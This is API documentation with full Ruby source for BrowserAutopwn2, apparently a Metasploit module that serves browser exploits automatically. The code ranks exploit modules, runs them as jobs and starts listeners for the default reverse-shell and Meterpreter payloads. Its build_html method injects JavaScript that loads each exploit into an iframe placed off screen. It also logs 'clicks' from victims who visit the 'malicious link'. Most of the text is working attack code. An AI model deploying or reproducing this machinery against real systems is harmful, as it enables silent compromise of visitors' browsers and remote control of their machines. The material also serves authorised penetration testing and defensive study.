Module: Msf::Exploit::Remote::BrowserAutopwn2

Includes:
BrowserExploitServer
Defined in:
lib/msf/core/exploit/remote/browser_autopwn2.rb

Constant Summary collapse

DEFAULT_PAYLOADS =

The default platform-specific payloads and preferred LPORTS. The hash key is the name of the platform that matches what's on the module. The loader order is specific while starting them up. Firefox payloads use generic handlers.

{
  firefox: { payload: 'firefox/shell_reverse_tcp',         lport: 4442 },
  android: { payload: 'android/meterpreter/reverse_tcp',   lport: 4443 },
  win:     { payload: 'windows/meterpreter/reverse_tcp',   lport: 4444 },
  linux:   { payload: 'linux/x86/meterpreter/reverse_tcp', lport: 4445 },
  unix:    { payload: 'cmd/unix/reverse',                  lport: 4446 },
  osx:     { payload: 'osx/x86/shell_reverse_tcp',         lport: 4447 },
  java:    { payload: 'java/meterpreter/reverse_tcp',      lport: 4448 },
  generic: { payload: 'generic/shell_reverse_tcp',         lport: 4459 }
}

Constants included from BrowserExploitServer

Msf::Exploit::Remote::BrowserExploitServer::DEFAULT_COOKIE_NAME, Msf::Exploit::Remote::BrowserExploitServer::PROXY_REQUEST_HEADER_SET, Msf::Exploit::Remote::BrowserExploitServer::REQUIREMENT_KEY_SET

Constants included from HttpServer::HTML

HttpServer::HTML::UTF_16_BE, HttpServer::HTML::UTF_16_BE_MARKER, HttpServer::HTML::UTF_16_LE, HttpServer::HTML::UTF_32_BE, HttpServer::HTML::UTF_32_LE, HttpServer::HTML::UTF_7, HttpServer::HTML::UTF_7_ALL, HttpServer::HTML::UTF_8, HttpServer::HTML::UTF_NONE

Instance Attribute Summary collapse

Attributes included from SocketServer

#service

Instance Method Summary collapse

Methods included from BrowserExploitServer

#cookie_header, #cookie_name, #extract_requirements, #get_bad_requirements, #get_detection_html, #get_module_resource, #get_module_uri, #get_payload, #get_target, #has_bad_activex?, #has_proxy?, #initialize, #js_vuln_test, #load_swf_detection, #on_request_exploit, #process_browser_info, #retrieve_tag, #send_exploit_html, #try_set_target

Methods included from Module::UI::Message::Verbose

#vprint_error, #vprint_good, #vprint_status, #vprint_warning

Methods included from Module::UI::Line::Verbose

#vprint_line

Methods included from BrowserProfileManager

#browser_profile, #clear_browser_profiles

Methods included from JSObfu

#initialize, #js_obfuscate

Methods included from Msf::Exploit::RopDb

#generate_rop_payload, #has_rop?, #initialize, #rop_junk, #rop_nop, #select_rop

Methods included from HttpServer::HTML

#encrypt_js, #heaplib, #initialize, #js_ajax_download, #js_ajax_post, #js_base64, #js_explib2, #js_explib2_payload, #js_heap_spray, #js_heaplib2, #js_ie_addons_detect, #js_misc_addons_detect, #js_mstime_malloc, #js_os_detect, #js_property_spray, #obfuscate_js, #send_response_html

Methods included from HttpServer

#add_resource, #add_robots_resource, #autofilter, #check_dependencies, #cli, #cli=, #close_client, #create_response, #fingerprint_user_agent, #get_resource, #get_uri, #hardcoded_uripath, #initialize, #print_prefix, #random_uri, #regenerate_payload, #remove_resource, #report_user_agent, #resource_uri, #send_local_redirect, #send_not_found, #send_redirect, #send_response, #send_robots, #srvhost_addr, #srvport, #use_zlib

Methods included from Auxiliary::Report

#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from Metasploit::Framework::Require

optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines

Methods included from TcpServer

#initialize, #on_client_close, #on_client_connect, #ssl, #ssl_cert, #ssl_cipher, #ssl_compression, #ssl_version

Methods included from SocketServer

#_determine_server_comm, #bindhost, #bindport, #cleanup_service, #exploit, #initialize, #on_client_data, #primer, #regenerate_payload, #srvhost, #srvport, #via_string

Instance Attribute Details

#bap_exploitsArray (readonly)

Returns A list of initialized BAP exploits.

Returns:

  • (Array)

    A list of initialized BAP exploits



17
18
19
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 17

def bap_exploits
  @bap_exploits
end

#exploit_job_idsArray (readonly)

Returns A list of exploit job IDs.

Returns:

  • (Array)

    A list of exploit job IDs



20
21
22
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 20

def exploit_job_ids
  @exploit_job_ids
end

#payload_job_idsArray (readonly)

Returns A list of payload job IDs.

Returns:

  • (Array)

    A list of payload job IDs



23
24
25
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 23

def payload_job_ids
  @payload_job_ids
end

#wanted_payloadsArray (readonly)

Returns Wanted payloads.

Returns:

  • (Array)

    Wanted payloads.



26
27
28
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 26

def wanted_payloads
  @wanted_payloads
end

Instance Method Details

#assign_module_resourceString

Returns a unique resource path.

Returns:

  • (String)

    A unique resource path.



172
173
174
175
176
177
178
179
180
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 172

def assign_module_resource
  resource = ''
  while
    resource = Rex::Text.rand_text_alpha(rand(10) + 4)
    break unless is_resource_taken?(resource)
  end

  resource
end

#browser_profile_prefixString

Returns a prefix type that's unique to this BAP (based on a timestamp & module uuid). This overrides Msf::Exploit::Remote::BrowserProfileManager#browser_profile_prefix so that BAP and all of its child exploits can share target information with each other. If BAP is active but there are other standalone BES exploits running, this allows them not to use (or cleanup) each other's data. Also, once requested, the method will not generate another profile prefix again, it will just return whatever's been stored in the @browser_profile_prefix instance variable.

Returns:

  • (String)


79
80
81
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 79

def browser_profile_prefix
  @browser_profile_prefix ||= "BAP.#{Time.now.to_i}.#{self.uuid}"
end

#build_html(cli, request) ⇒ String

Returns the HTML that serves our exploits.

Parameters:

Returns:

  • (String)

    HTML



746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 746

def build_html(cli, request)
  exploit_list = get_exploit_urls(cli, request)

  if datastore['MaxSessionCount'] > -1 && session_count >= datastore['MaxSessionCount']
    print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessionCount']}")
    if datastore['HTMLContent'].blank?
      send_not_found(cli)
      return ''
    else
      return datastore['HTMLContent']
    end
  elsif exploit_list.empty?
    print_status("No suitable exploits to send for #{cli.peerhost}")
    if datastore['HTMLContent'].blank?
      send_not_found(cli)
      return ''
    else
      return datastore['HTMLContent']
    end
  end


  # Some Flash exploits don't seem to work well with a hidden iframe.
  js = %Q|
  var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}];

  function setElementStyle(e, opts) {
    if (typeof e.style.setAttribute == 'undefined') {
      var attributeString = '';
      for (var key in opts) { attributeString += key + ":" + opts[key] + ";" }
      e.setAttribute("style", attributeString);
    } else {
      for (var key in opts) {
        e.style.setAttribute(key, opts[key]);
      }
    }
  }

  function moveIframe(e) {
    var opts = {
      'position': 'absolute',
      'left': screen.width * -screen.width
    }
    setElementStyle(e, opts);
  }

  window.onload = function() {
    var e = document.createElement("iframe");
    e.setAttribute("id", "myiframe");
    moveIframe(e);
    document.body.appendChild(e);
    loadExploit();
  }

  function loadExploit() {
    var e = document.getElementById("myiframe");
    var firstUri = exploitList.splice(0, 1);
    if (firstUri != '') {
      e.setAttribute("src", firstUri);
      setTimeout("loadExploit()", #{datastore['ExploitReloadTimeout']});
    }
  }
  |

  %Q|<html>
  <head>
  <meta http-equiv="cache-control" content="no-cache" />
  <script>
  #{js}
  </script>
  </head>
  <body>
  </body>
  </html>
  #{datastore['HTMLContent']}|
end

#cleanupvoid

This method returns an undefined value.

Cleans up everything such as profiles and jobs.

See Also:



109
110
111
112
113
114
115
116
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 109

def cleanup
  print_status("Cleaning up jobs...")
  super
  configure_job_output(false)
  clear_browser_profiles
  rm_exploit_jobs
  rm_payload_jobs
end

#configure_job_output(on = true) ⇒ void

This method returns an undefined value.

Configures the output of sub-jobs



495
496
497
498
499
500
501
502
503
504
505
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 495

def configure_job_output(on=true)
  (@exploit_job_ids + @payload_job_ids).each do |jid|
    job = framework.jobs[jid.to_s]
    next unless job
    job.ctx.each do |m|
      next unless m.respond_to? :user_output
      m.user_output = on ? self.user_output : nil
      break
    end
  end
end

#finalize_sorted_modules(bap_groups) ⇒ void

This method returns an undefined value.

Modifies @bap_exploit by replacing it with the rearranged module list.

Parameters:

  • bap_groups (Hash)

    A grouped module list.

See Also:



250
251
252
253
254
255
256
257
258
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 250

def finalize_sorted_modules(bap_groups)
  @bap_exploits = []
  bap_groups.each_pair do |ranking, module_list|
    module_list.each do |m|
      break if @bap_exploits.length >= datastore['MaxExploitCount']
      @bap_exploits << m
    end
  end
end

#get_custom_404_urlString

Returns the custom 404 URL set by the user

Returns:

  • (String)


736
737
738
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 736

def get_custom_404_url
  datastore['Custom404'].to_s
end

#get_exploit_urls(cli, request) ⇒ Array

Returns a list of exploit URLs. This is used by #build_html so the client can load our exploits one by one.

Parameters:

Returns:

  • (Array)

See Also:



654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 654

def get_exploit_urls(cli, request)
  urls = []

  exploit_list = get_suitable_exploits(cli, request)

  exploit_list.each do |mod|
    proto = datastore['SSL'] ? 'https' : 'http'
    # We haven't URIHOST and URIPORT into account here because
    # the framework uses them only on `get_uri`
    host = ''
    if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0'
      host = datastore['URIHOST']
    elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0'
      host = datastore['SRVHOST']
    else
      host = Rex::Socket.source_address
    end
    if datastore['URIPORT'] && datastore['URIPORT'] != 0
      port = datastore['URIPORT']
    else
      port = datastore['SRVPORT']
    end

    resource = mod.datastore['URIPATH']
    url = "#{proto}://#{host}:#{port}#{resource}"
    urls << url
  end

  urls
end

#get_payload_lhostString

Returns the selected payload's LHOST. If no LHOST is set by the user (via the datastore option), then the method automatically generates one by Rex.

Returns:

  • (String)


294
295
296
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 294

def get_payload_lhost
  datastore['LHOST'] || Rex::Socket.source_address
end

#get_selected_payload_lport(platform) ⇒ Integer

Returns the selected payload's LPORT.

Parameters:

  • platform (Symbol)

Returns:

  • (Integer)


285
286
287
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 285

def get_selected_payload_lport(platform)
  datastore["PAYLOAD_#{platform.to_s.upcase}_LPORT"]
end

#get_selected_payload_name(platform) ⇒ String

Returns a payload name. Either this will be the user's choice, or falls back to a default one.

Parameters:

  • platform (Symbol)

    Platform name.

Returns:

  • (String)

    Payload name.

See Also:



266
267
268
269
270
271
272
273
274
275
276
277
278
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 266

def get_selected_payload_name(platform)
  payload_name = datastore["PAYLOAD_#{platform.to_s.upcase}"]

  # The payload is legit, we can use it.
  # Avoid #create seems faster
  return payload_name if framework.payloads.module_refnames.include?(payload_name)

  default = DEFAULT_PAYLOADS[platform][:payload]

  # The user has configured some unknown payload that we can't use,
  # fall back to default.
  default
end

#get_suitable_exploits(cli, request) ⇒ Array

Returns a list of suitable exploits for the current client based on what #sort_bap_exploits gives us. It will do a global exploitable requirement check (the best it can do). There's actually a target-specific exploitable requirement check too, but that is performed in BrowserExploitServer while the exploit is being served. In other words, it is possible #get_suitable_exploits might not be 100% accurate (but pretty good, it depends on how the exploit dev accurately defines his/her global requirements), but the exploit always has a choice to bail at the last second if it decides it is actually not suitable for the client. That way we don't risk being too wreckless with our attack.

Parameters:

Returns:

  • (Array)


588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 588

def get_suitable_exploits(cli, request)
  current_exploit_list = []
  tag = retrieve_tag(cli, request)
  profile_info = browser_profile[tag]
  bap_exploits.each do |m|
    if m.get_bad_requirements(profile_info).empty?
      current_exploit_list << m
    end
  end

  if datastore['ShowExploitList']
    show_exploit_list(cli.peerhost, tag, current_exploit_list)
  end

  current_exploit_list
end

#group_bap_modulesHash

Breaks @bap_exploits into groups for sorting purposes.

Returns:

  • (Hash)

    A module list grouped by rank.

See Also:



232
233
234
235
236
237
238
239
240
241
242
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 232

def group_bap_modules
  bap_groups = {}
  RankingName.each_pair do |ranking, value|
    bap_groups[ranking] = []
    bap_exploits.each do |m|
      next if m.rank != ranking
      bap_groups[ranking] << m
    end
  end
  bap_groups
end

#init_exploitsvoid

This method returns an undefined value.

Returns all the found exploit modules that support BrowserExploitServer by going through all the exploits from the framework object. All the usable exploits will be stored in #bap_exploits.



49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 49

def init_exploits
  # First we're going to avoid using #find_all because that gets very slow.
  framework.exploits.module_refnames.each do |fullname|

    next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}"

    # The user gets to specify which modules to include/exclude
    next if datastore['INCLUDE_PATTERN'] && fullname !~ datastore['INCLUDE_PATTERN']
    next if datastore['EXCLUDE_PATTERN'] && fullname =~ datastore['EXCLUDE_PATTERN']

    mod = framework.exploits.create(fullname)
    unless mod
      print_status("Failed to load: #{fullname}")
      next
    end
    if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer)
      @bap_exploits << mod
    end
  end
end

#is_ip_targeted?(cli_ip) ⇒ TrueClass, FalseClass

Returns true if the IP is on our whitelist.

Parameters:

  • cli_ip (String)

    Client's IP.

Returns:

  • (TrueClass)

    The IP is on the whitelist.

  • (FalseClass)

    The IP is not on the whitelist.



710
711
712
713
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 710

def is_ip_targeted?(cli_ip)
  return true unless @whitelist
  @whitelist.include?(cli_ip)
end

#is_multi_platform_exploit?(m) ⇒ TrueClass, FalseClass

Checks if the module is multi-platform based on the directory path.

Parameters:

  • m (Object)

    Module.

Returns:

  • (TrueClass)

    is multi-platform.

  • (FalseClass)

    is not multi-platform.



402
403
404
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 402

def is_multi_platform_exploit?(m)
  m.fullname.include?('multi/')
end

#is_payload_compatible?(compatible_payloads, payload_name) ⇒ TrueClass, FalseClass

Checks whether the payload is compatible with the module based on the module's compatibility list

Parameters:

  • compatible_payloads (Array)

    A list of payloads that are compatible

  • payload_name (String)

Returns:

  • (TrueClass)

    Payload is compatible.

  • (FalseClass)

    Payload is not compatible.



388
389
390
391
392
393
394
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 388

def is_payload_compatible?(compatible_payloads, payload_name)
  compatible_payloads.each do |k|
    return true if k[0] == payload_name
  end

  false
end

#is_payload_platform_compatible?(m, payload_platform) ⇒ TrueClass, FalseClass

Checks whether the payload is compatible with the module based on platform information. Best for single-platform modules and for performance.

Parameters:

  • m (Object)

    Module.

  • payload_platform (Symbol)

    Payload platform.

Returns:

  • (TrueClass)

    Payload is compatible.

  • (FalseClass)

    Payload is not compatible.



369
370
371
372
373
374
375
376
377
378
379
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 369

def is_payload_platform_compatible?(m, payload_platform)
  begin
    platform_obj = Msf::Module::Platform.find_platform(payload_platform.to_s)
  rescue ArgumentError
    false
  end

  return true if platform_obj && m.platform.platforms.include?(platform_obj)

  false
end

#is_resource_taken?(resource) ⇒ TrueClass, FalseClass

Checks if a resource is already taken or not.

Parameters:

  • resource (String)

    The resource to check.

Returns:

  • (TrueClass)

    Resource is taken.

  • (FalseClass)

    Resource is not taken.



155
156
157
158
159
160
161
162
163
164
165
166
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 155

def is_resource_taken?(resource)
  taken = false

  bap_exploits.each do |m|
    # Prevent partial matching of one resource within another
    next unless m.datastore['URIPATH']
    return true if m.datastore['URIPATH'].index(resource)
    return true if resource.index(m.datastore['URIPATH'])
  end

  taken
end

#log_click(ip, data = '') ⇒ void

This method returns an undefined value.

Logs a click that includes the suitable exploit list.

Parameters:

  • ip (String)

    The target's IP address.

  • data (String) (defaults to: '')

    (Optional) CSV data that contains the exploit list.



611
612
613
614
615
616
617
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 611

def log_click(ip, data='')
  report_note(
    :host => ip,
    :type => 'bap.clicks',
    :data => data,
    :update => :unique)
end

#on_request_uri(cli, request) ⇒ void

This method returns an undefined value.

Handles client requests specific for BAP.

Parameters:



691
692
693
694
695
696
697
698
699
700
701
702
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 691

def on_request_uri(cli, request)
  # Check if target is on our whitelist
  if @whitelist && !is_ip_targeted?(cli.peerhost)
    print_status("Client #{cli.peerhost} is trying to connect but not on our whitelist.")
    send_not_found(cli)
    return
  end

  log_click(cli.peerhost)

  super
end

#parse_rank(rank) ⇒ String

Returns the human-readable version of the rank.

Parameters:

  • rank (Integer)

Returns:

  • (String)


357
358
359
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 357

def parse_rank(rank)
  RankingName[rank].to_s.capitalize
end

#rm_exploit_jobsvoid

This method returns an undefined value.

Removes background exploit jobs that belong to BAP.



86
87
88
89
90
91
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 86

def rm_exploit_jobs
  exploit_job_ids.each do |id|
    framework.jobs.stop_job(id) if framework.jobs[id.to_s]
    sleep(0.1)
  end
end

#rm_payload_jobsvoid

This method returns an undefined value.

Removes background payload jobs that belong to BAP.



97
98
99
100
101
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 97

def rm_payload_jobs
  payload_job_ids.each do |id|
    framework.jobs.stop_job(id) if framework.jobs[id.to_s]
  end
end

#select_payload(m) ⇒ Array

Returns an appropriate payload that's compatible with the module.

Parameters:

  • m (Object)

    A module that's been initialized.

Returns:

  • (Array)

    Payload name. Example: 'windows/meterpreter/reverse_tcp'



411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 411

def select_payload(m)
  compatible_payloads = []

  module_payloads = nil

  DEFAULT_PAYLOADS.each_pair do |platform, info|
    payload_choice = {
      :payload_name => get_selected_payload_name(platform),
      :payload_lport => get_selected_payload_lport(platform)
    }

    if !is_multi_platform_exploit?(m) && !m.platform.platforms.empty? && is_payload_platform_compatible?(m, platform)
      compatible_payloads << payload_choice
      break
    else
      # The #compatible_payloads method is super expensive (slow). By doing it this way,
      # I managed to shave off seconds.
      module_payloads ||= m.compatible_payloads

      if is_payload_compatible?(module_payloads, payload_choice[:payload_name])
        compatible_payloads << payload_choice
      end
    end
  end

  @wanted_payloads.concat(compatible_payloads)

  compatible_payloads
end

#session_countInteger

Returns a number of sessions obtained by BAP's payload handlers.

Returns:

  • (Integer)

    A session count.



719
720
721
722
723
724
725
726
727
728
729
730
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 719

def session_count
  total = 0

  payload_job_ids.each do |id|
    job_workspace = framework.jobs[id.to_s].ctx.first.datastore['WORKSPACE']
    if job_workspace == self.workspace
      total += framework.jobs[id.to_s].ctx.first.session_count
    end
  end

  total
end

#set_exploit_options(xploit) ⇒ void

This method returns an undefined value.

Modifies an exploit's default datastore options. Some of them are user-configurable, some must be defined by BAP.



123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 123

def set_exploit_options(xploit)
  # We could do a massive xploit.datastore.merge!(self.datastore), but this seems
  # really expensive. Costs more loading time.

  # Set options configurable by the user.
  p = select_payload(xploit)
  xploit.datastore['PAYLOAD']     = p.first[:payload_name]
  xploit.datastore['LPORT']       = p.first[:payload_lport]
  xploit.datastore['SRVHOST']     = datastore['SRVHOST']
  xploit.datastore['SRVPORT']     = datastore['SRVPORT']
  xploit.datastore['LHOST']       = get_payload_lhost

  %w(JsObfuscate CookieName VERBOSE Retries SSL SSLVersion SSLCipher URIHOST URIPORT).each do |opt|
    xploit.datastore[opt] = datastore[opt] if datastore[opt]
  end

  # Set options only configurable by BAP.
  xploit.datastore['DisablePayloadHandler'] = true
  xploit.datastore['BrowserProfilePrefix']  = browser_profile_prefix
  xploit.datastore['URIPATH']               = "/#{assign_module_resource}"
  xploit.datastore['WORKSPACE']             = self.workspace

  # Register this module as a child and copy datastore options
  xploit.register_parent(self)
end

#setupvoid

This method returns an undefined value.

Sets up BAPv2. This is like our main function.



464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 464

def setup
  t1 = Time.now

  super
  @bap_exploits    = []
  @exploit_job_ids = []
  @payload_job_ids = []
  @wanted_payloads = []

  # #split might be expensive if the file is really big
  @whitelist = datastore['AllowedAddresses'] ? datastore['AllowedAddresses'].split : nil

  print_status("Searching BES exploits, please wait...")
  init_exploits
  sort_bap_exploits

  print_status("Starting exploit modules...")
  start_exploits

  print_status("Starting listeners...")
  start_payload_listeners

  t2 = Time.now
  print_status("Time spent: #{(t2-t1).inspect}")

  configure_job_output(true)
end

#show_exploit_list(ip, tag, current_exploit_list) ⇒ void

This method returns an undefined value.

Prints a list of suitable exploits for the current list.



625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 625

def show_exploit_list(ip, tag, current_exploit_list)
  order = 1
  table = Rex::Text::Table.new(
    'Header'  => '',
    'Indent'  => 1,
    'Columns' => ['Order', 'IP', 'Exploit']
  )
  current_exploit_list.each do |m|
    table << [order, ip, m.shortname]
    order += 1
  end

  if table.rows.empty?
    print_status("User #{cli.peerhost} (Tag: #{tag}) visited our malicious link, but no exploits found suitable.")
  else
    # Update the exploit list data
    log_click(cli.peerhost, table.to_csv)
    print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}")
  end
end

#show_ready_exploitsvoid

This method returns an undefined value.

Prints all the exploits that BAP will consider using. But this isn't the actual list of exploits that BAP will use for each target.



512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 512

def show_ready_exploits
  columns = ['Order', 'Rank', 'Name', 'Path', 'Payload']

  # If not verbose, you're not in dev mode.
  # As an user, you shouldn't be using any of these paths anyway.
  columns.delete('Path') if !datastore['VERBOSE']

  table = Rex::Text::Table.new(
    'Header'  => 'Exploits',
    'Indent'  => 1,
    'Columns' => columns
  )

  # Without the order, sometimes the Rex table messes up even though in the array
  # the order looks right. So don't get rid of this.
  order = 1

  bap_exploits.each do |m|
    row = []
    row << order
    row << parse_rank(m.rank)
    row << m.shortname
    row << m.datastore['URIPATH'] if datastore['VERBOSE']
    row << "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}"
    table << row
    order += 1
  end

  print_line
  print_status("The following is a list of exploits that BrowserAutoPwn will consider using.")
  print_status("Exploits with the highest ranking and newest will be tried first.")
  print_line
  print_line table.to_s
end

#sort_bap_exploitsvoid

This method returns an undefined value.

Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top. This method is part of what makes BAP smarter. However, the list rearranged by this exploit will not actually be the same exploit list served to every client. When a client a request, #get_suitable_exploits will generate another list that will actually be used by the client by going through what we have here, and filter out all the exploit modules that don't match the target's requirements.



197
198
199
200
201
202
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 197

def sort_bap_exploits
  bap_groups = group_bap_modules
  bap_groups = sort_date_in_group(bap_groups)
  bap_groups = sort_group_by_rank(bap_groups)
  finalize_sorted_modules(bap_groups)
end

#sort_date_in_group(bap_groups) ⇒ Hash

Sorts a grouped module list by disclosure date.

Parameters:

  • bap_groups (Hash)

    A grouped module list.

Returns:

  • (Hash)

    A hash with each module list sorted by disclosure date.



209
210
211
212
213
214
215
216
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 209

def sort_date_in_group(bap_groups)
  bap_groups.each_pair do |ranking, module_list|
    bap_groups[ranking] = module_list.sort_by {|m|
      dstr = m.disclosure_date || "1970-01-01"
      Date.parse(dstr) rescue Date.parse("1970-01-01")
    }.reverse
  end
end

#sort_group_by_rank(bap_groups) ⇒ Hash

Sorts a module list by ranking.

Parameters:

  • bap_groups (Hash)

    A grouped module list.

Returns:

  • (Hash)

    A hash grouped by ranking.



223
224
225
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 223

def sort_group_by_rank(bap_groups)
  Hash[bap_groups.sort_by {|k,v| k}.reverse]
end

#start_exploitsvoid

This method returns an undefined value.

Starts exploits.



445
446
447
448
449
450
451
452
453
454
455
456
457
458
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 445

def start_exploits
  bap_exploits.each do |m|
    set_exploit_options(m)
    m.exploit_simple(
      'LocalInput'  => nil,
      'LocalOutput' => nil,
      'Quiet'       => true,
      'Target'      => 0,
      'Payload'     => m.datastore['PAYLOAD'],
      'RunAsJob'    => true
    )
    @exploit_job_ids << m.job_id
  end
end

#start_payload_listenersvoid

Note:

FireFox payload is skipped because there's no handler for it.

This method returns an undefined value.

Creates payload listeners. The active job IDs will be tracked in #payload_job_ids so that we know how to find them and then clean them up.

See Also:



305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 305

def start_payload_listeners
  # Spawn nothing if the user doesn't want to pop sessions.
  return if datastore['MaxSessionCount'] == 0

  # Don't repeat launching payload handlers
  wanted_payloads.uniq! { |e| e[:payload_name] }

  wanted_payloads.each do |wanted|
    multi_handler = framework.exploits.create('multi/handler')

    # We have to special case firefox
    payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name]

    # User-configurable options
    # multi_handler.datastore.merge!(self.datastore) could be used, but
    # really expensive. Costs more loading time.
    multi_handler.datastore['LHOST']                = get_payload_lhost
    multi_handler.datastore['PAYLOAD']              = payload_name
    multi_handler.datastore['LPORT']                = wanted[:payload_lport]

    %w(DebugOptions PrependMigrate PrependMigrateProc
       InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert
       StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName
       IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait
       SessionExpirationTimeout SessionCommunicationTimeout).each do |opt|
      multi_handler.datastore[opt] = datastore[opt] if datastore[opt]
    end

    # Configurable only by BAP
    multi_handler.datastore['ExitOnSession'] = false
    multi_handler.datastore['EXITFUNC']      = 'thread'
    multi_handler.datastore['WORKSPACE']     = self.workspace

    # Register this module as a child and copy datastore options
    multi_handler.register_parent(self)

    # Now we're ready to start the handler
    multi_handler.exploit_simple(
      'LocalInput' => nil,
      'LocalOutput' => nil,
      'Payload' => payload_name,
      'RunAsJob' => true
    )
    @payload_job_ids << multi_handler.job_id
  end
end

#start_servicevoid

This method returns an undefined value.

Prints information such as what exploits will be used, and the BAP URL.



551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
# File 'lib/msf/core/exploit/remote/browser_autopwn2.rb', line 551

def start_service
  super
  show_ready_exploits
  proto = (datastore['SSL'] ? "https" : "http")

  if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0'
    srvhost = datastore['URIHOST']
  elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0'
    srvhost = datastore['SRVHOST']
  else
    srvhost = Rex::Socket.source_address
  end

  if datastore['URIPORT'] && datastore['URIPORT'] != 0
    srvport = datastore['URIPORT']
  else
    srvport = datastore['SRVPORT']
  end

  service_uri = "#{proto}://#{srvhost}:#{srvport}#{get_resource}"
  print_good("Please use the following URL for the browser attack:")
  print_good("BrowserAutoPwn URL: #{service_uri}")
end